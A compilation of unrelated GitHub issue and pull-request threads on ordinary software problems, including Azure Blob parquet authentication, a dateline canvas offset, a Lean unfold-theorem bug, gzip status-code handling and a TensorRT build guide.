ArrowIOError - server failed to authenticate on read_parquet

What happened:
dask read_parquet or AzureBlobFileSystem .read_parquet return an Arrow error: IOError:
What you expected to happen:
The command to return a pandas dataframe containing the information in the parquet blob.
Minimal Complete Verifiable Example:
#ls works

$ myblobsystem = AzureBlobFileSystem(ACCOUNT_NAME,credential=ACCOUNT_KEY)
$ myblobsystem.ls('')

#copy file works without error
$ myblobsystem.get_file('example/test.pq','test.pq')

#read_parquet, same path, fails:
$ myblobsystem.read_parquet('example/test.pq')

# or
storage_options={'account_name': ACCOUNT_NAME,'credential':ACCOUNT_KEY}
ddf = dd.read_parquet('abfs://example/test.pq', storage_options=storage_options)

#output from either read_parquet
ArrowIOError: Arrow error: IOError: Server failed to authenticate the request. Please refer to the information in the www-authenticate header.
RequestId...
Time:2020-11-30T17:44:30.8425576Z
ErrorCode:NoAuthenticationInformation
Error:None. Detail: Python exception: HttpResponseError

#EDITED to UPDATE: apparently I didn't upgrade to pyarrow 2.0 until just now. The error is similar but changes if I upgrade pyarrow.

HttpResponseError: Server failed to authenticate the request. Please refer to the information in the www-authenticate header.
RequestId:
Time:2020-11-30T18:51:27.6132379Z
ErrorCode:NoAuthenticationInformation
Error:None

Anything else we need to know?:
Credentials work both for listing blobs and in an Azure BlobServiceClient. Not sure why they work for listing containers/blobs but not for reading parquet?
Environment:

pyarrow 2.0 (upgrade after failing with 0.15.1)

Dask version: 2.26.0

adlfs version: 0.5.7

azure.blob version: 12.6.0

Python version: 3.7.2

Operating System: RHEL 7

Install method (conda, pip, source): dask: conda, adlfs: pip

it looks like the credential input is not for account keys, there's a separate account_key input - can you try with that?
e.g.
myblobsystem = AzureBlobFileSystem(ACCOUNT_NAME,account_key=ACCOUNT_KEY)

not sure why ls would work though

Sorry, that's a bad constant name on my part - ACCOUNT_KEY is in fact as far as I know, a sas_token. I tried passing it in to AzureBlobFileSystem as a sas_token and it didn't like it (ls wouldn't work) but it worked as credential, and it works with azure's blob client, i.e.:
from azure.storage.blob import BlobServiceClient

myclient = BlobServiceClient(f'https://{ACCOUNT_NAME}.blob.core.windows.net/',credential=ACCOUNT_KEY)

I have no idea why, but if I put my sas_token inside a azure connection_string, and pass that in via storage_options or while initing a AzureBlobFileSystem instance, then read_parquet works as expected! it's exactly the same string I was trying to pass in via credential, and there's nothing special about our blob_endpoint so this is a mystery.

The issue was that passing credential as a keyword to AzureBlobFileSystem created the filesystem object, and was listing the files, but the container_client attribute for the AzureBlobFile object was not being created.  This has been fixed in master.


Canvas shifts if map dragged to right

If you drag this map to the right, at some point the canvas shifts to the following left map.
Is there a way to prevent this behavior?

Is this the same issue seen when panning the 2D demo to the east? When the top-left corner of the canvas crosses the international dateline, the red square disappears:

I'm not very familiar with the projection math, but you can add a hack to work around this, modifying these lines in the demo as follows:
var topLeft = canvasLayer.getTopLeft();
var offset = mapProjection.fromLatLngToPoint(topLeft);
if (topLeft.lng() > 0) {
  offset.x = offset.x - 256;
}
context.translate(-offset.x, -offset.y);

Not a great fix... i'll keep looking at this. :/

Yes it is, this is exactly what happened in my demo (which I fixed now btw).
I added your work around and it seems to work as long as you don't zoom out too much. (https://wehrli.me/canvaslayer/)
Maybe I just limit the top 3 zoom levels or so... Let me know when you find the solution, I will also look into this once more as soon as I have time.

yeah, unfortunately the discontinuity is fundamentally difficult to work around. There are some brute force approaches, though, like just rendering everything twice, once with an offset to keep it to the left and then one two keep it to the right. Usually demos using canvaslayer are pixel-fillrate-limited, so the performance hit isn't too bad since the vast majority of the sprites (or whatever) are offscreen and so never make it to the pixel shader stage.
(if you do everything just twice, however, you do have to limit how far you can zoom out depending on the map container's size and aspect ratio, otherwise you might need to render three or more times :)
If on the other hand you're visualizing mostly local-scale data, you can also hack around the problem by just limiting zoom and how far the user can pan.

Actually, I just fixed my problem as I'm computing the color based on the latlng of the pixel. In my case, the longitude may exceed 360 (or more) but it is continuously increasing to the right.


Questtion about novelty calculation

Thanks for you authors share this great work, i wonder how the pdb dataset is curated for the calculation of novelty? do you split each chain in the pdb database or just based on the training single chain or some thing else?

Hi, we take the whole PDB dataset as instructed in foldseek's documentation. I believe this is all the single sequences. We use the following flags to run novelty calculations.
-alignment-type 1 --format-output query,target,alntmscore,lddt --tmscore-threshold 0.0 --exhaustive-search --max-seqs<PHONE_NUMBER>0


fix(versions): update Activiti/activiti-cloud-full-chart-security versions

UpdateBot pushed helm dependency: activiti-cloud-full-example to: 7.1.448

UpdateBot commands:
updatebot push-version --kind helm activiti-cloud-full-example 7.1.448


vendor.css -> "Uncaught Error: Expected 'styles' to be an array of strings."

Having vendor.css empty or :
@import '../../node_modules/font-awesome/css/font-awesome.css';

Resulting in the browser error: 'Uncaught Error: Expected 'styles' to be an array of strings.'.
Any idea what might be wrong? ta.

This is actually problem related to while trying to add external CSS files using styleUrls in @Component....

When the file is added as cscc all works. Why adding CSS files does not work?

@skorunka this project uses component css to be SCSS instead of css. CSS is a valid SCSS, so you can use CSS as normal in SCSS files. All the component are styled inline with JS bundles.
Vendor files are css and they are extracted as seperate css bundle. If you like components to use css you might need something like this:
https://github.com/AngularClass/angular-starter/blob/master/config/webpack.common.js#L155

@asadsahi Ok, no worries. I prefer SCSS over CSS. Maybe put this in to readme to avoid confusion.

Thanks @skorunka now you know that, how about creating a wiki for this?
Would you like to create one explaining this? :)

@asadsahi Will try ;)


Test Issue created at Fri, 04 Jun 2021 09:23:36 GMT

Test issue body  Fri, 04 Jun 2021 09:23:36 GMT

Comment on issue at Fri, 04 Jun 2021 09:23:38 GMT


ERROR: unsupported extension on input file:

Hi all,
I admit, this error seems straightforward and obvious given the tool options but it has me stumped.
Testing the version:
pbbamify --version 0.18.0
Running it:
~/path/pbbamify --input=alignments.bam --output=alignments.pb.bam ref.fa pb.fofn
Error:
ERROR: unsupported extension on input file:
Any ideas what is going on here? For reference, I used minimap2 to generate the input BAM.
Thank you!
Scott

Also, the "pb.fofn" file contains 4 lines which each contain a single *.subreads.bam raw file like this:
1.subreads.bam 2.subreads.bam 3.subreads.bam 4.subreads.bam

Hello Scott,
I don't know about the .fofn file but I made an .xml dataset from subreads.bam and this worked.
dataset create data.xml *subreads.bam
I also made my aligned.bam with minimap2.
You could try this?


CASMHMS-6157: Update API spec to document limitation on get_xname_status on large systems

Summary and Scope
When debugging a BOS issue on a UKMet system, we noticed that CAPMC was failing when BOS hit the get_xname_status endpoint with an empty list specified for the xnames. Investigation revealed that this was causing CAPMC to try to make a GET request to PCS with all of the xnames on the system in the parameter list. The system had 2600+ nodes, and that was too big to include in the parameters.
Interestingly, when BOS hit that same endpoint and explicitly listed all 2600 nodes, CAPMC was fine with it. So there must be some logic internally which handles those two cases differently.
The "proper" solution would be to fix CAPMC so that it breaks up its requests to PCS into smaller chunks, and then returns the combined result. However, that is a more involved solution, and given that CAPMC is on its way out, the decision was made to just document this limitation in the API spec. So that's what this PR does.
No testing needed since no code changes were made (and even the changes to the API spec were just to a description text field).

The CT test failures are unrelated to this PR, as best I can tell. I don't see how the changes I made could possibly cause any of those tests to fail, and certainly not in the ways that they are.


Typo fix - update protect from overposting URL in sample code comments

Change (// To protect from overposting attacks, see https://go.microsoft.com/fwlink/?linkid=2123754) to (... https://go.microsoft.com/fwlink/?LinkId=317598) in multiple files. Reference is from first example of "Processing the POST Request" from "Part 6, controller methods and views in ASP.NET Core" article (https://learn.microsoft.com/en-us/aspnet/core/tutorials/first-mvc-app/controller-methods-views?view=aspnetcore-7.0#processing-the-post-request).

Fix spacing by changing (... TodoItemthat..) and (... TodoItemfrom...) to (... TodoItem that..) and (... TodoItem from...) in Tutorial: create a web API with ASP.NET Core article.

Internal previews

📄 File
🔗 Preview link

aspnetcore/tutorials/first-web-api.md
aspnetcore/tutorials/first-web-api

@mahab339, even though we had to revert the links, I can approve your PR for the typo fixes at least for the effort, if you are be able to agree with the Contributor License Agreement(CLA). See instructions above.  I'll check back on this later, if you were not able to agree with the CLA I will close.  Thanks.

@dotnet-policy-service agree

@wadepickett, done licence agreement. Thanks for your accept.


POI Card

Input:

Image
Title
Subtitle
blurb
Map Link
LInk

Same component as featured resorts:: https://github.com/aemsites/jet2holidays-portugal/pull/77
We can control the info from authoring


Keepin' on

We now have a cop which catches problems across multiple files. Is there any other? I don't think so.

We now have a cop which catches problems across multiple files. Is there any other? I don't think so.

We don't. Initially my idea was that all the analysis would be on a per-file level, which made everything simpler (but also introduced some issues like in the Documentation cop).

Just noticed that REBASE ... commit. Whoops!


"failed to generate unfold theorem" for recursive nested match

Prerequisites

[X] Put an X between the brackets on this line if you have done all of the following:

Check that your issue is not already filed.
Reduce the issue to a minimal, self-contained, reproducible test case. Avoid dependencies to mathlib4 or std4.

Description
Unfold lemma generator fails on the following:
def replace (f : Nat → Option Nat) (t : Nat) : Nat :=
  match f t with
  | some u => u
  | none =>
    match t with
    | .zero => .zero
    | .succ t' => replace f t'

It also fails for the following, where f is applied to a different value than the value being recursed on:
def replace2 (f : Nat → Option Nat) (t1 t2 : Nat) : Nat :=
  match f t1 with
  | some u => u
  | none =>
    match t2 with
    | .zero => .zero
    | .succ t' => replace2 f t1 t'

However, it succeeds if the matches are swapped:
def replace' (f : Nat → Option Nat) (t : Nat) : Nat :=
  match t with
  | .zero =>
    match f t with
    | some u => u
    | none => .zero
  | .succ t' =>
    match f t with
    | some u => u
    | none => replace' f t'

Context
Reported on Zulip
Steps to Reproduce
example : replace f 0 = 0 := by
  unfold replace

Expected behavior: Unfolds replace in tactic state
Actual behavior: Emits an error: failed to generate unfold theorem for 'replace'
Versions
4.3.0-rc2
NixOS (unstable branch)
Impact
Add :+1: to issues you consider important. If others are impacted by this issue, please ask them to add :+1: to it.

I am unsure if the issue I'm currently running into is the same or a different bug. In order to prevent duplicates, I thought it might be worth first asking if a separate bug report seems warranted:
Here's my problem: Lean 4 Web
If you think it's a different issue, then please tell me and I'll open another bug report. If it's the same issue, then the above minimal example is way better than mine, as it's much shorter.

I think it’s a separate issue, it says “failed to generate equational theorem for 'popLast'”, not “failed to generate unfold theorem” (which is a later step), so a separate issue make sense. Thanks for reporting!

Thanks! I'll try to minify the code example further, and then file a full bug report.


Update sql-database-connect-query-dotnet-core.md

@CarlRabeler,
Thanks for your contribution as a Microsoft full-time employee or intern. You do not need to sign a CLA.
Thanks,
Microsoft Pull Request Bot


Update search index for 2.8.0

After /docs get synced with updates from /versioned_docs/version-2.8 at release time, the search index needs to be updated as well.

Done


Azure Functions

Hi!
I was wondering, what would be the best way to integrate OpenTelemetry (and OpenCensus) to an Python Azure Functions.
In a web app we start the exporter on startup, but what about an AzureFunction? I don't think the best way was to start a new exporter every time a functions starts running, it seems like it would maybe cause memory problems (?), due to the local storage?
Was wondering if someone here has any opinions about this! Thanks!

@victoraugustolls
We have indeed been looking into how to use our SDKs and integrate them into Azure Functions. This will be part of our "attach" story when we implement python sdks directly into Azure Function's architecture. However, for now we will expect users to manually instrument their applications directly.
Besides from the issues that you outlined above, there are also issues of functions exiting too quickly before the SDK has a chance to even send telemetry as well. These problems are currently being discussed. Any other scenarios would be greatly appreciated as well!

@lzchen thanks for the answer!
Is there a way for me to follow does this discussions, or are they happening inside Microsoft?
Also, is any way for me to help you guys?

This will be part of our "attach" story when we implement python sdks directly into Azure Function's architecture.

Missclicked, sorry

Is there a way for me to follow does this discussions, or are they happening inside Microsoft?
Also, is any way for me to help you guys?

I believe these discussions are happening inside Microsoft but I will keep you updated.

Does this means that the Azure Functions Python host would start the trace with opentelemetry python sdk, something like
this, and we would only need to start the spans inside the function?

Yes. Azure Functions will automatically instrument the function with the SDK, and then you create spans manually inside the function.

Closing. Will be reopened when azure functions support for attach is implemented.


txn: check timestamp overflow

Signed-off-by: youjiali1995<EMAIL_ADDRESS>
What problem does this PR solve?
Problem Summary:
TiDB uses max u64 as start ts when doing point get in the autocommit transaction. If it meets locks, it will lead to min_commit_ts overflow. See https://github.com/pingcap/tidb/issues/16778.
What is changed and how it works?
What's Changed:
Check timestamp overflow.
Related changes

Need to cherry-pick to the release branch

Check List
Tests

Unit test

Side effects
Release note
Fix the issue that the min commit timestamp of a transaction may overflows which breaks data safety.

/run-all-tests

I think somewhere you have to check the result of next/prev, since it is unwrapped in every usage, then the overflow is never checked.
Would it work to use saturating add instead of panicking?

I will change the implementation later. We choose another solution, and I will doc it later.


port: resume dialog fix from .net

Fixes #3524

Pull Request Test Coverage Report for Build 721154294

0 of 0   changed or added relevant lines in 0 files are covered.
220 unchanged lines in 6 files lost coverage.
Overall coverage increased (+0.005%) to 84.937%

Files with Coverage Reduction
New Missed Lines
%

libraries/botbuilder-lg/src/templateExtensions.ts
1
84.48%

libraries/adaptive-expressions/src/triggerTrees/trigger.ts
2
62.79%

libraries/botbuilder-dialogs-adaptive/src/input/inputDialog.ts
8
89.04%

libraries/botbuilder-core/src/skills/skillConversationIdFactory.ts
9
17.39%

libraries/botbuilder-dialogs/src/skillDialog.ts
14
84.66%

libraries/botbuilder-dialogs-adaptive/src/adaptiveDialog.ts
186
38.7%

Totals

Change from base Build 720147895:
0.005%

Covered Lines:
18971

Relevant Lines:
21276

💛  - Coveralls


compose not working while REDUX_DEVTOOLS_EXTENSION_COMPOSE works

Do you want to request a feature or report a bug?
bug
(If this is a usage question, please do not post it here—post it on Stack Overflow instead. If this is not a “feature” or a “bug”, or the phrase “How do I...?” applies, then it's probably a usage question.)
What is the current behavior?
Some enhancers like autoRehydrate from redux-persist doesn't work when using compose from redux in production mode, while using window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__ in the same environment works.
If the current behavior is a bug, please provide the steps to reproduce and if possible a minimal demo of the problem via https://jsfiddle.net or similar.
Using react-boilerplate, add<EMAIL_ADDRESS>and<EMAIL_ADDRESS>Then, this is the store configuration code:
  const middlewares = [
    sagaMiddleware,
    routerMiddleware(history),
    createActionBuffer(REHYDRATE),
  ];

  const enhancers = [
    autoRehydrate(),
    applyMiddleware(...middlewares),
  ];

  // If Redux DevTools Extension is installed use it, otherwise use Redux compose
  /* eslint-disable no-underscore-dangle */
  const composeEnhancers =
    process.env.NODE_ENV !== 'production' &&
    typeof window === 'object' &&
    window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__ ?
      window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__ : compose;
  /* eslint-enable */

  const store = createStore(
    createReducer(),
    initialState,
    composeEnhancers(...enhancers),
  );

Build the package with NODE_ENV=production. Rehydration won't work, but if we omit the condition to use window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__ instead, it works well.
What is the expected behavior?
All enhancers and middleware work. In this case, rehydration of the state.
Which versions of Redux, and which browser and OS are affected by this issue? Did this work in previous versions of Redux?
<EMAIL_ADDRESS>All OSs are affected
Not sure if it worked on previous versions, I tried using 3.5.2 and the issue persisted.
<EMAIL_ADDRESS>

compose is nothing special, just a reducer of whatever its inputs are. It appears the redux-persist docs reference using it as well. I don't see how the problem would be on our end, given the simplicity of the function.
Perhaps it's the ordering? Try moving autoRehydrate() to the last spot on your enhancers.
But this seems like an issue for redux-persist, so I would keep going with this issue you opened: rt2zz/redux-persist#362


[AVM Module Issue]: Add client_id output

Check for previous/existing GitHub issues

[X] I have checked for previous/existing GitHub issues

Issue Type?
Feature Request
(Optional) Module Version
No response
(Optional) Correlation Id
No response
Description
Hello,
It would be really handy to output also client_id attribute the same way the resource azurerm_user_assigned_identity does on its own.
Usage is quite straightforward, client_id is used as a workload identity within AKS.
It does not make sense to ask for it via data resource if we can get it right away.
Thanks
Zdenek

Thanks @ZdenekPesek. Will work on this in the coming week and bundle it with the required telemetry change.

@ZdenekPesek latest version 0.3.2 has been updated to include client and tenant id. Feel free to reach out if you are experiencing any issues.

@JFolberth all seems to be good! Thank you very much for a prompt action.


[AWS] Remove old AMI image after release

Description
This repo allows us to create EC2 images that will then be published as AMIs on AWS. However, when new releases are made, new AMIs are added, but the old versions remain on the platform. It would be good to keep only the last 2 or 3 versions not to overload our library of available AMI.
Possible solution
As we will probably already have terraform on this repo thanks to this PR #19, we could consider using this tool to make work

This issue striked again, during the release of v1.9 AWS didn't succeed.
I've manually increased the limits of the account for each region, I'm waiting for confirmation to proceed with the release. But we should definitely work on this one @curquiza


chore: Reduce futures-util in favor of tokio-stream

Motivation
Continues #1364.
Solution
Reduces futures-util in favor of tokio-stream.

Rebased.


plugins set bintrayOrganization to sbt

https://github.com/softprops/bintray-sbt/blob/99260bc318744fb13008c97bee147f08c8741e24/src/main/scala/plugin.scala#L212
not shure why you set the org to sbt

bintrayOrganization should now default to your bintray credentials username. This is more inline with the sbt doc suggestions - http://www.scala-sbt.org/0.13/docs/Bintray-For-Plugins.html


Number of entries

Whenever the number of entries is changed to any number other than 10, the number of problems shown are still 10.

Hii Unnati, Thanks for pointing out the error. Can you please explain it more clearly? Or if it's possible to attach any image to it.

I have attached two images. On changing entries count in the random
problems section, the number of problems displayed must change which is not
happening. I have changed the count to 25 but it is showing me only 10
problems.
On Fri, Jun 19, 2020 at 4:16 PM Rudra Desai<EMAIL_ADDRESS>wrote:

Hii Unnati, Thanks for pointing out the error. Can you please explain it
more clearly? Or if it's possible to attach any image to it.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/rudradesai200/CFViewer/issues/3#issuecomment-646568946,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AMPNGAGBCBU7TUMDM43UWE3RXM6ZHANCNFSM4OCTAVSA
.

I am really sorry, Unnati, But, the images you shared are not visible here. I think you replied directly to the GitHub email, that's why it is happening. Can you please upload the images from the main website?

Here, I changed the entries to 25.

Here, it is showing me only 10 problems.

Ohh okay. Thanks for pointing it out. It will be updated soon!


[BUG]RP4, Cam module 3. 'rpicam-hello' detect cam but 'vcgencmd get_camera' not detect cam

Describe the bug
'rpicam-hello' command in Terminal show video, run Ok.  'vcgencmd get_camera' do not detect cam module3.
Bug report
Report created by camera-bug-report tool attached:
bug-report.txt
 'vcgencmd get_camera' return:
supported=0 detected=0, libcamera interfaces=0

'rpicam-hello list-cameras' return:
[0:33:59.267675647] [2957]  INFO Camera camera_manager.cpp:284 libcamera v0.2.0+46-075b54d5
[0:33:59.318764766] [2960]  WARN RPiSdn sdn.cpp:39 Using legacy SDN tuning - please consider moving SDN inside rpi.denoise
[0:33:59.320971837] [2960]  INFO RPI vc4.cpp:447 Registered camera /base/soc/i2c0mux/i2c@1/imx708@1a to Unicam device /dev/media3 and ISP device /dev/media2
[0:33:59.321045318] [2960]  INFO RPI pipeline_base.cpp:1144 Using configuration file '/usr/share/libcamera/pipeline/rpi/vc4/rpi_apps.yaml'
Made X/EGL preview window
Mode selection for 2304:1296:12:P
SRGGB10_CSI2P,1536x864/0 - Score: 3400
SRGGB10_CSI2P,2304x1296/0 - Score: 1000
SRGGB10_CSI2P,4608x2592/0 - Score: 1900
Stream configuration adjusted
[0:33:59.807952941] [2957]  INFO Camera camera.cpp:1183 configuring streams: (0) 2304x1296-YUV420 (1) 2304x1296-SBGGR10_CSI2P
[0:33:59.808412459] [2960]  INFO RPI vc4.cpp:611 Sensor: /base/soc/i2c0mux/i2c@1/imx708@1a - Selected sensor format: 2304x1296-SBGGR10_1X10 - Selected unicam format: 2304x1296-pBAA
**Additional context**
/boot/firmware/config.txt:

# For more options and information see
# http://rptl.io/configtxt
# Some settings may impact device functionality. See link above for details

# Uncomment some or all of these to enable the optional hardware interfaces
dtparam=i2c_arm=on
#dtparam=i2s=on
dtparam=spi=on

# Enable audio (loads snd_bcm2835)
dtparam=audio=on

# Additional overlays and parameters are documented
# /boot/firmware/overlays/README

# Automatically load overlays for detected cameras
camera_auto_detect=1

# Camera Module 3 (IMX708)
dtoverlay=imx708

# Automatically load overlays for detected DSI displays
display_auto_detect=1

# Automatically load initramfs files, if found
auto_initramfs=1

# Enable DRM VC4 V3D driver
dtoverlay=vc4-kms-v3d
max_framebuffers=2

# Don't have the firmware create an initial video= setting in cmdline.txt.
# Use the kernel's default instead.
disable_fw_kms_setup=1

# Run in 64-bit mode
arm_64bit=1

# Disable compensation for displays with overscan
disable_overscan=1

# Run as fast as firmware / board allows
arm_boost=1

[cm4]
# Enable host mode on the 2711 built-in XHCI USB controller.
# This line should be removed if the legacy DWC2 controller is required
# (e.g. for USB device mode) or if USB support is not required.
otg_mode=1

[all]

enable_uart=1

vcgencmd get_camera is deprecated and not used any more. There is no use for it with the libcamera stack.

Thank You

Covered in https://forums.raspberrypi.com/viewtopic.php?t=362707


Add different verbosity levels

More granular verbosity levels have been asked
for repeatedly.
To enable that we're moving to [env_logger] and [clap-verbosity-flag]
to provide more flexible verbosity settings.
Also tackles #661, #709.
Lays the groundwork for tackling #268 and #704.
https://github.com/rust-cli/env_logger
https://github.com/clap-rs/clap-verbosity-flag

If someone finds the time I'd love to get a review to avoid regressions.

Is there some brief explanation somewhere? Which information do the various level add (v) or remove (q)?

At the moment it's pretty basic:

Verbose mode (-v) prints data URLs and false-positive URLs (e.g. example.com, which is an IANA reserved domain).
Normal mode (without any -v) skips those.

That's it.
We could add something to the docs, but I don't know if it's worth it. Suggestions welcome.

Hmm, but what will -vv print then? Or -vvv?


gzip ignores HTTP error codes

I am using go version go1.8 linux/amd64, and I have been trying to be able to send some data through gzip. The problem is that even if I send an error code using w.WriteHeader, this library will simply ignore it and send HTTP 200 no matter what. Is there any way that you could fix this?

Can you provide an example? I'd very much like to fix this.

Sure thing! I am a bit lazy, so I think I will just send you the entire file.
Main.go.txt

I'm not very sure if this is an actual bug or me just misusing the library, I am kinda new to Golang still.

It looks like http.ServeFile sends its own status header, which overwrites yours. Does this work as expected when you remove the gzip middlware? The stdlib response logs an error (http: multiple response.WriteHeader calls) when this is the case, but our implementation silently overwrites the previous status, which is rather unhelpful. Sorry about that. I expect you'll see that error in your log.

Yes, this works as I expected when I remove the gzip middleware.

Yup, this works as expected when I remove the gzip middleware. When I add gzip back, it goes back to silently removing the 404 status code.

This is a bug in gziphandler, although you could almost say this is undefined behaviour of Golang's net/http.
The net/http WriteHeader functions all ignore multiple calls to WriteHeader and only use the status code from the first call. Unfortunately this behaviour is not explicitly documented anywhere.
src/net/http/server.go:
func (w *response) WriteHeader(code int) {
	...
	if w.wroteHeader {
		w.conn.server.logf("http: multiple response.WriteHeader calls")
		return
	}
	w.wroteHeader = true
	w.status = code
	...

src/net/http/h2_bundle.go:
func (rws *http2responseWriterState) writeHeader(code int) {
	if !rws.wroteHeader {
		rws.wroteHeader = true
		rws.status = code
		...

I've fixed this with tmthrgd@c3e45bd8a0785df13a521b09086779133a73f15b in my fork. A similar fix could be introduced into this repository, care has to be taken to ensure that buffering of the response (for min size) doesn't cause future calls to WriteHeader to succeed.

I think https://github.com/NYTimes/gziphandler/pull/49 has fixed this too. Can you confirm, @kittyhacker101 / @tmthrgd  ?

@EmielM I don't know how I missed your comment, sorry.

@EmielM I don't know how I missed your comment for all this time, sorry. I don't seem to have gotten a notification for it 😕
I just ran this repo against the test case I introduced in tmthrgd@c3e45bd and it still fails with:
--- FAIL: TestStatusCodes (0.00s)
        gzip_test.go:287: StatusCode should have been 404 but was 500

The failing test code is (snippet):
	handler = GzipHandler(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		http.NotFound(w, r)
		w.WriteHeader(http.StatusInternalServerError)
	}))
	w = httptest.NewRecorder()
	handler.ServeHTTP(w, r)

	result = w.Result()
	if result.StatusCode != 404 {
		t.Errorf("StatusCode should have been 404 but was %d", result.StatusCode)
	}

#49 wasn't enough to fix this unfortunately.

Yep you're right. Added some code in PR #59, don't know how attribution works on github but perhaps the repo owner can add you as well?


Change --source-root option to allow omitting sourceRoot

Now --source-root <false|string|default>.
The default option is as before.
Fixes #1676

PTAL

I saw that there was a lot of discussion on the bug. Do you feel like this takes us closer to cleaner API?

My point was: Even if the discussion on the bug has not yet been resolved this might be a step in the right direction and could land before everything was resolved on the issue.

PTAL

LGTM, one nit


Removed eng/ path filter.

This is to stop the bleeding of pipelines triggering from changes we are making in /eng. We'll still accumulate changes based on non-eng changes when folks don't rebase but it should be significantly less volume.

/azp run net - core - ci


Build Guide

Download the pretrained model and install Depth-Anything:
git clone https://github.com/LiheYoung/Depth-Anything
cd Depth-Anything
pip install -r requirements.txt

Copy and paste dpt.py to <depth_anything_installpath>/depth_anything folder.

Note
    Here I've only removed a squeeze operation at the end of model's forward function in `dpt.py` to avoid conflicts with TensorRT

Export the model to onnx format using export_to_onnx.py, you will get an onnx file named "depth_anything_vit{}14.onnx", such as "depth_anything_vitb14.onnx".

Install TensorRT using the guide below (Windows) or TensorRT official guidance.

Click here for the guide

Download the TensorRT zip file that matches the Windows version you are using.
Choose where you want to install TensorRT. The zip file will install everything into a subdirectory called TensorRT-8.x.x.x. This new subdirectory will be referred to as <installpath> in the steps below.
Unzip the TensorRT-8.x.x.x.Windows10.x86_64.cuda-x.x.zip file to the location that you chose. Where:

8.x.x.x is your TensorRT version
cuda-x.x is CUDA version 11.6, 11.8 or 12.0

Add the TensorRT library files to your system PATH. To do so, copy the DLL files from <installpath>/lib to your CUDA installation directory, for example, C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\vX.Y\bin, where vX.Y is your CUDA version. The CUDA installer should have already added the CUDA path to your system PATH.
Ensure that the following is present in your Visual Studio Solution project properties:

<installpath>/lib has been added to your PATH variable and is present under VC++ Directories > Executable Directories.
<installpath>/include is present under C/C++ > General > Additional Directories.
nvinfer.lib and any other LIB files that your project requires are present under Linker > Input > Additional Dependencies.

Find trtexec and then export onnx to engine.
trtexec --onnx=depth_anything_vitb14.onnx --saveEngine=depth_anything_vitb14.engine

Add --fp16 if you want to enable fp16 precision
trtexec --onnx=depth_anything_vitb14.onnx --saveEngine=depth_anything_vitb14.engine --fp16

Download and install any recent OpenCV for Windows.

Modify CMakelists.txt, change TensorRT and OpenCV paths.
# Find and include OpenCV
set(OpenCV_DIR "path to OpenCV")
find_package(OpenCV REQUIRED)
include_directories(${OpenCV_INCLUDE_DIRS})

# Set TensorRT path if not set in environment variables
set(TENSORRT_DIR "path to TensorRT")

Build project by using cmake-gui(Windows) or following commands(Linux).

=======

Build project by using cmake-gui or following commands.
mkdir build
cd build && mkdir out_dir
cmake ..
make

Enjoy it!

i think,
trtexec --onnx=depth_anything_vitb14.onnx --saveEngine=depth_anything_vitb14.engine -fp16 should be modified to
trtexec --onnx=depth_anything_vitb14.onnx --saveEngine=depth_anything_vitb14.engine --fp16

Thanks. Edit it


Edit metadata profile -> Internal server error

Testserver: qa gluons
Browser: ff
Test date: 19.09.2016
Device: Tablet Nexus 9
gluons-Version:  <IP_ADDRESS> - build date 2016-05-12 17:28:15
User: user/admin
Actions:
precondition: uploaded files via automatic upload -> standard metadata fields of items (e.g. creation date, make, model) are inserted to metadata profile
-> "View items -> "edit" -> "edit profile" -> ISE
Observation: I cannot edit automatically created metadata profile, throws ISE
Expected Result: I can edit metadata profile.

transfered to Bastien #595


SDK version bump

A tiny update to the cancel listing hook. Did some QA - everything looks good

If you wanted to add the apiKey as well you could put that in this PR. It's a prop on the NiftyApesProvider.


Handle impossible ranges for randomUint32()

Related issue #5
After merging #6 we have the following
func randomUint32n(n uint32) uint32 {
	if n <= 1 {
		return 0
	}

which seems wrong to me (and @Sc00bz). 0 is a possible return value when randomUint32n() is called with sane values (such as 1). But when n < 1, we are doing the equivalent of division by zero.
Because this isn't an exported function, we have some freedom here.

We can keep the convenient current behavior, even if it is semantically peculiar as long as we are careful not to rely on it.
We can panic. This is annoying for something that is called as a library, but there are times when you do want libraries to panic
We can report an error. That is make this return both an int and an error state. This is annoying because it would complicate all of the places it is called.

I can be persuaded to go with any of those.
/cc @Sc00bz @robyoder @mitchchn

I don't want to do 3, although it's likely the most proper solution. There's no reason to add in error handling for a function like this.
The only impossible case is 0, but my reasoning was that both 0 and 1 should be invalid values for this function because 1 will always produce 0 and thus displays no randomness, so You're Holding It Wrong™.
If you feel strongly about it, we can switch back to 2.

In every place randomUint32n is called n is checked to not be zero. Except here: https://github.com/1Password/spg/blob/06557be73ffb44e672df08519b0bd839943cd870/char_gen.go#L103
So I'd go with 2 and add a check for len(chars) being zero. The reason for panicking even though it can't happen currently is for future code that's broken. If it panics the library is broken.
I disagree with calling randomUint32n with 1 is an error. It will complicate things like a function that takes a deck of cards and you want to get n random cards. If you want to use that function to a shuffled the full deck, then the last card picked is a random card from a set of 1 card. Oh right or a function that generates passwords with no repeated characters like this.

my reasoning was that both 0 and 1 should be invalid values for this function because 1 will always produce 0 bits and thus displays no randomness, so You're Holding It Wrong™.

I think returning 0 is perfect fine when that is the correct answer, as it is for a length of 1. Although we didn't implement the SeparatorChar this way, we could have done so with it picking "randomly" from a string of length 1. While wasteful, that would be a perfectly coherent thing to do.
I also agree that we should code defensively, and that (oddly enough) means deliberately panicking or returning an error. Just as we (correctly) panic if the CSPRNG returns an error, we should panic or error on what is very much like a division by zero.
While I've got no strong feelings between 2 and 3, I don't like 1, so I will implement option 2.


Support Edge Case Where HighQC After PoS Cutover Uses Real Validator Set

Current dependencies on/for this PR:

feature/pos-syncing-and-steady-state

PR #951   👈

This stack of pull requests is managed by Graphite.


HHH-11838 - Id retrieving from proxy with FK leads to query execution

Description of changes
Fix - https://hibernate.atlassian.net/browse/HHH-11838
This issue is reproducible for field-based mapping, for property-based everything works fine.
https://github.com/hibernate/hibernate-orm/blob/master/hibernate-core/src/main/java/org/hibernate/proxy/pojo/BasicLazyInitializer.java#L65
for property getIdentifierMethod is not null
for field getIdentifierMethod is null
Value being added
getId on proxy will not load init proxy (won't trigger sql query to fetch entity from db

Just a few notes.

Make sure the license is at the beginning of every file.
Make sure you use the Hibernate code style. There are formatters for IntelliJ and Eclipse.
Make sure you have signed the CLA(contributers license agreement)

